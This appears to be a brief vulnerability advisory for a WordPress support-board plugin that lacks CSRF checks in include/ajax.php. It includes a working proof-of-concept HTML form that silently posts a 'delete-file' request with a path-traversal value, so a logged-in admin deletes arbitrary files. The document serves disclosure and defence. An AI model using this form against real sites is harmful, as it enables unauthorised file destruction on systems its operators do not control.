The plugin does not have any CSRF checks in actions handled by the include/ajax.php file, which could allow attackers to make logged in users do unwanted actions. For example, make an admin delete arbitrary files
<html>
<body>
<form action="https://example.com/wp-content/plugins/supportboard/supportboard/include/ajax.php" method="POST">
<input type="hidden" name="function" value="delete-file" />
<input type="hidden" name="path" value="/../yolo.php" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>